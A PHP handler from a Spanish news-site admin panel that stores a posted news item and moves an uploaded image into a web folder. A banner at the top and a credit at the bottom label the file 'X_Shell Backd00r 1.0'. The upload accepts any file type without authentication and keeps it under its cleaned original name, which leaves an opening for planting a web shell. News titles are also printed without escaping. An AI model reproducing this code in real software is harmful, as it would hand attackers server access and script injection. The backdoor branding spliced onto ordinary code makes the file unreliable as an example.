[#] hm X_Shell Backd00r [#]
<?php
require_once '../models/Noticias.php';
$noticia = new Noticias();
$titulo = ($_POST['titulo']);
$contenido = ($_POST['contenido']);
$imagen_noticia = ($_FILES['imagen_noticia']['name']);
$fecha_creacion = ($_POST['fecha_creacion']);
$cadena = $_FILES['imagen_noticia']['name'];
$cadena_limpia = sanear_string($cadena);
$new_cadena = 'img/noticias/'.$cadena_limpia;
$titulo_dec = utf8_decode($titulo);
$contenido_dec = utf8_decode($contenido);
$noticia->setTitulo($titulo_dec);
$noticia->setContenido($contenido_dec);
$noticia->setImagen_noticia($new_cadena);
$noticia->setFecha_creacion($fecha_creacion);
$noticia->guardar();
//-------------- subir archivo -------------------------------->
$ruta = '../../img/noticias/'.$cadena_limpia;
move_uploaded_file($_FILES['imagen_noticia']['tmp_name'], $ruta);
echo '
<table class="table table-striped table-hover">
<thead>
<tr>
<th>Titulo</th>
<th>Contenido</th>
<th>Fecha de creacion</th>
<th>opciones</th>
</tr>
</thead>
' ;
$noticia = Noticias::verNoticias();
foreach($noticia as $item):
$titulo_enc = utf8_encode($item['titulo']);
echo '
<tr id="noticia-'. $item['id_noticia'].' ">
<td>'.$titulo_enc. '</td>
<td>
<span class="glyphicon glyphicon-book "
data-idnoticia="'. $item['id_noticia'].'" onClick="vistaPrevia(this)" >
</span> leer contenido </td>
</td>
<td>'. $item['fecha_creacion']. '</td>
<td>
<span class="glyphicon glyphicon-pencil pencil"
data-idnoticia="'.$item['id_noticia'].'" onClick="vistaEditar(this)">
</span>
<span class="glyphicon glyphicon-trash trash" data-idnoticia="'.$item['id_noticia'].'" onClick="eliminar(this)"></span>
</td>
</tr>';
endforeach;
echo '
</table>
';
function sanear_string($string){
$no_permitidas= array ('á','é','í','ó','ú','Á','É','Í','Ó','Ú','ñ','Ñ','À','Ã','Ì','Ò','Ù','Ù','à ','è','ì','ò','ù','ç','Ç','â','ê','î','ô','û','Â','Ê','ÃŽ','Ô','Û','ü','ö','Ö','ï','ä','«','Ò','Ã','Ä','Ë','"');//45
$permitidas= array ('a','e','i','o','u','A','E','I','O','U','n','N','A','A','I','O','U','a','e','i','o','u','ù','c','C','a','e','i','o','u','A','E','I','O','U','u','o','O','i','a','e','U','I','A','E','');//44
$string = str_replace($no_permitidas, $permitidas ,$string);
return $string;
}
?>
Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r